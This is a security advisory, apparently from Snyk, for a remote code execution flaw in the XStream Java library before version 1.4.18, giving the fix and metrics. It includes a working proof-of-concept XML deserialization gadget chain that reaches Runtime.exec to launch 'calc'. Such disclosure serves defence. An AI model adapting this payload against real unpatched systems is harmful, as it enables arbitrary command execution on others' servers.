Remote Code Execution (RCE) Affecting com.thoughtworks.xstream:xstream Open this link in a new tab package, versions [,1.4.18)


0.0
high
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    High

  • Scope

    Changed

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

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  • snyk-id

    SNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569183

  • published

    24 Aug 2021

  • disclosed

    24 Aug 2021

  • credit

    Ceclin and YXXX

How to fix?

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). This vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Comparable</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Comparable</class>
              <name>compareTo</name>
              <parameter-types>
                <class>java.lang.Object</class>
              </parameter-types>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='java.lang.Runtime'/>
              <implementing__method>
                <class>java.lang.Runtime</class>
                <name>exec</name>
                <parameter-types>
                  <class>java.lang.String</class>
                </parameter-types>
              </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </handler>
    </dynamic-proxy>
    <string>calc</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
XStream xstream = new XStream();
xstream.fromXML(xml);